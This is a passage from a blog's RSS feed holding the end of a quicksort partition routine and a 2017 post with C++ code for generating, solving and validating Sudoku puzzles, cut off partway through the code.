--j;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (i &gt; j) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; swap(nums[i++], nums[j--]);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; swap(nums[pivot], nums[j]);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return j;</div><div>&nbsp; &nbsp; }</div></div><img src ="http://www.blogjava.net/bacoo/aggbug/432921.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2017-11-26 00:03 <a href="http://www.blogjava.net/bacoo/archive/2017/11/26/432921.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>sudoku</title><link>http://www.blogjava.net/bacoo/archive/2017/11/03/432875.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Fri, 03 Nov 2017 09:19:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2017/11/03/432875.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/432875.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2017/11/03/432875.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/432875.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/432875.html</trackback:ping><description><![CDATA[<div><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #008080; ">&nbsp; 1</span>&nbsp;#include&nbsp;&lt;sys/time.h&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;2</span>&nbsp;#include&nbsp;&lt;stdlib.h&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;3</span>&nbsp;#include&nbsp;&lt;<span style="color: #0000FF; ">string</span>.h&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;4</span>&nbsp;#include&nbsp;&lt;iostream&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;5</span>&nbsp;#include&nbsp;&lt;vector&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;6</span>&nbsp;#include&nbsp;&lt;<span style="color: #0000FF; ">string</span>&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;7</span>&nbsp;#include&nbsp;&lt;<span style="color: #0000FF; ">set</span>&gt;<br /><span style="color: #008080; ">&nbsp;&nbsp;8</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;&nbsp;9</span>&nbsp;<span style="color: #0000FF; ">class</span>&nbsp;Sudoku&nbsp;{<br /><span style="color: #008080; ">&nbsp;10</span>&nbsp;<span style="color: #0000FF; ">public</span>:<br /><span style="color: #008080; ">&nbsp;11</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sudoku(<span style="color: #0000FF; ">const</span>&nbsp;std::<span style="color: #0000FF; ">string</span>&amp;&nbsp;question,&nbsp;<span style="color: #0000FF; ">bool</span>&nbsp;does_try_all_answers&nbsp;=&nbsp;<span style="color: #0000FF; ">false</span>):&nbsp;m_does_try_all_answers(does_try_all_answers),&nbsp;m_data(9)&nbsp;{<br /><span style="color: #008080; ">&nbsp;12</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;9;&nbsp;++i)&nbsp;{<br /><span style="color: #008080; ">&nbsp;13</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_data[i].resize(9);<br /><span style="color: #008080; ">&nbsp;14</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j&nbsp;=&nbsp;0;&nbsp;j&nbsp;&lt;&nbsp;9;&nbsp;++j)&nbsp;{<br /><span style="color: #008080; ">&nbsp;15</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_data[i][j]&nbsp;=&nbsp;question[i&nbsp;*&nbsp;9&nbsp;+&nbsp;j];<br /><span style="color: #008080; ">&nbsp;16</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;17</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;18</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;19</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;20</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">bool</span>&nbsp;Solve()&nbsp;{<br /><span style="color: #008080; ">&nbsp;21</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;Fill(0,&nbsp;0);<br /><span style="color: #008080; ">&nbsp;22</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;23</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;24</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;std::<span style="color: #0000FF; ">string</span>&nbsp;GiveOneAnswer()&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;{<br /><span style="color: #008080; ">&nbsp;25</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;m_all_answers.empty()&nbsp;?&nbsp;""&nbsp;:&nbsp;*m_all_answers.begin();<br /><span style="color: #008080; ">&nbsp;26</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;27</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;28</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;std::<span style="color: #0000FF; ">set</span>&lt;std::<span style="color: #0000FF; ">string</span>&gt;&nbsp;GiveAllAnswers()&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;{<br /><span style="color: #008080; ">&nbsp;29</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;m_all_answers;<br /><span style="color: #008080; ">&nbsp;30</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;31</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;32</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;std::<span style="color: #0000FF; ">string</span>&nbsp;ProvideOneQuestionRandomly(<span style="color: #0000FF; ">int</span>&nbsp;min_filled_num&nbsp;=&nbsp;30)&nbsp;{<br /><span style="color: #008080; ">&nbsp;33</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::vector&lt;std::vector&lt;<span style="color: #0000FF; ">char</span>&gt;&nbsp;&gt;&nbsp;ques(9,&nbsp;std::vector&lt;<span style="color: #0000FF; ">char</span>&gt;(9,&nbsp;'.'));<br /><span style="color: #008080; ">&nbsp;34</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;35</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;timeval&nbsp;cur_tv;<br /><span style="color: #008080; ">&nbsp;36</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;gettimeofday(&amp;cur_tv,&nbsp;NULL);<br /><span style="color: #008080; ">&nbsp;37</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;srand(cur_tv.tv_usec);<br /><span style="color: #008080; ">&nbsp;38</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;39</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;valid_digit_num&nbsp;=&nbsp;0;<br /><span style="color: #008080; ">&nbsp;40</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;9;&nbsp;++i)&nbsp;{<br /><span style="color: #008080; ">&nbsp;41</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j&nbsp;=&nbsp;0;&nbsp;j&nbsp;&lt;&nbsp;9;&nbsp;++j)&nbsp;{<br /><span style="color: #008080; ">&nbsp;42</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(rand()&nbsp;%&nbsp;81&nbsp;&lt;=&nbsp;min_filled_num&nbsp;+&nbsp;valid_digit_num&nbsp;/&nbsp;6)&nbsp;{<br /><span style="color: #008080; ">&nbsp;43</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;c&nbsp;=&nbsp;rand()&nbsp;%&nbsp;9&nbsp;+&nbsp;'1';<br /><span style="color: #008080; ">&nbsp;44</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;45</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(DoesConflict(ques,&nbsp;i,&nbsp;j,&nbsp;c))&nbsp;{<br /><span style="color: #008080; ">&nbsp;46</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;k&nbsp;=&nbsp;0;<br /><span style="color: #008080; ">&nbsp;47</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(;&nbsp;k&nbsp;&lt;&nbsp;8;&nbsp;++k)&nbsp;{<br /><span style="color: #008080; ">&nbsp;48</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(c&nbsp;==&nbsp;'9')&nbsp;{<br /><span style="color: #008080; ">&nbsp;49</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c&nbsp;=&nbsp;'1';<br /><span style="color: #008080; ">&nbsp;50</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;51</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(!DoesConflict(ques,&nbsp;i,&nbsp;j,&nbsp;++c))&nbsp;{<br /><span style="color: #008080; ">&nbsp;52</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">break</span>;<br /><span style="color: #008080; ">&nbsp;53</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;54</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;55</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(8&nbsp;==&nbsp;k)&nbsp;{<br /><span style="color: #008080; ">&nbsp;56</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c&nbsp;=&nbsp;'.';<br /><span style="color: #008080; ">&nbsp;57</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;58</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;59</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;60</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;valid_digit_num&nbsp;+=&nbsp;('.'&nbsp;!=&nbsp;c);<br /><span style="color: #008080; ">&nbsp;61</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ques[i][j]&nbsp;=&nbsp;c;<br /><span style="color: #008080; ">&nbsp;62</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;{<br /><span style="color: #008080; ">&nbsp;63</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ques[i][j]&nbsp;=&nbsp;'.';<br /><span style="color: #008080; ">&nbsp;64</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;65</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;66</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;67</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;68</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;buf[82];<br /><span style="color: #008080; ">&nbsp;69</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf[81]&nbsp;=&nbsp;'\0';<br /><span style="color: #008080; ">&nbsp;70</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;9;&nbsp;++i)&nbsp;{<br /><span style="color: #008080; ">&nbsp;71</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j&nbsp;=&nbsp;0;&nbsp;j&nbsp;&lt;&nbsp;9;&nbsp;++j)&nbsp;{<br /><span style="color: #008080; ">&nbsp;72</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf[i&nbsp;*&nbsp;9&nbsp;+&nbsp;j]&nbsp;=&nbsp;ques[i][j];<br /><span style="color: #008080; ">&nbsp;73</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;74</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;75</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;76</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sudoku&nbsp;sudoku(buf);<br /><span style="color: #008080; ">&nbsp;77</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sudoku.Solve();<br /><span style="color: #008080; ">&nbsp;78</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(81&nbsp;==&nbsp;sudoku.GiveOneAnswer().size())&nbsp;{<br /><span style="color: #008080; ">&nbsp;79</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;buf;<br /><span style="color: #008080; ">&nbsp;80</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;{<br /><span style="color: #008080; ">&nbsp;81</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;ProvideOneQuestionRandomly(min_filled_num);<br /><span style="color: #008080; ">&nbsp;82</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;83</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;84</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;buf;<br /><span style="color: #008080; ">&nbsp;85</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;86</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;87</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;PrintSudoku(<span style="color: #0000FF; ">const</span>&nbsp;std::<span style="color: #0000FF; ">string</span>&amp;&nbsp;sudoku)&nbsp;{<br /><span style="color: #008080; ">&nbsp;88</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(sudoku.size()&nbsp;&lt;&nbsp;81)&nbsp;{<br /><span style="color: #008080; ">&nbsp;89</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>;<br /><span style="color: #008080; ">&nbsp;90</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;91</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;92</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;9;&nbsp;++i)&nbsp;{<br /><span style="color: #008080; ">&nbsp;93</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j&nbsp;=&nbsp;0;&nbsp;j&nbsp;&lt;&nbsp;9;&nbsp;++j)&nbsp;{<br /><span style="color: #008080; ">&nbsp;94</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(0&nbsp;!=&nbsp;j)&nbsp;{<br /><span style="color: #008080; ">&nbsp;95</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::cout&nbsp;&lt;&lt;&nbsp;"&nbsp;";<br /><span style="color: #008080; ">&nbsp;96</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;97</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::cout&nbsp;&lt;&lt;&nbsp;sudoku[i&nbsp;*&nbsp;9&nbsp;+&nbsp;j];<br /><span style="color: #008080; ">&nbsp;98</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">&nbsp;99</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::cout&nbsp;&lt;&lt;&nbsp;std::endl;<br /><span style="color: #008080; ">100</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">101</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">102</span>&nbsp;<br /><span style="color: #008080; ">103</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;<span style="color: #0000FF; ">bool</span>&nbsp;ValidateOneAnswer(<span style="color: #0000FF; ">const</span>&nbsp;std::<span style="color: #0000FF; ">string</span>&amp;&nbsp;answer)&nbsp;{<br /><span style="color: #008080; ">104</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(answer.size()&nbsp;!=&nbsp;81)&nbsp;{<br /><span style="color: #008080; ">105</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">false</span>;<br /><span style="color: #008080; ">106</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">107</span>&nbsp;<br /><span style="color: #008080; ">108</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;9;&nbsp;++i)&nbsp;{<br /><span style="color: #008080; ">109</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;hit_h[9]&nbsp;=&nbsp;{&nbsp;'\0'&nbsp;};<br /><span style="color: #008080; ">110</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;hit_v[9]&nbsp;=&nbsp;{&nbsp;'\0'&nbsp;};<br /><span style="color: #008080; ">111</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j&nbsp;=&nbsp;0;&nbsp;j&nbsp;&lt;&nbsp;9;&nbsp;++j)&nbsp;{<br /><span style="color: #008080; 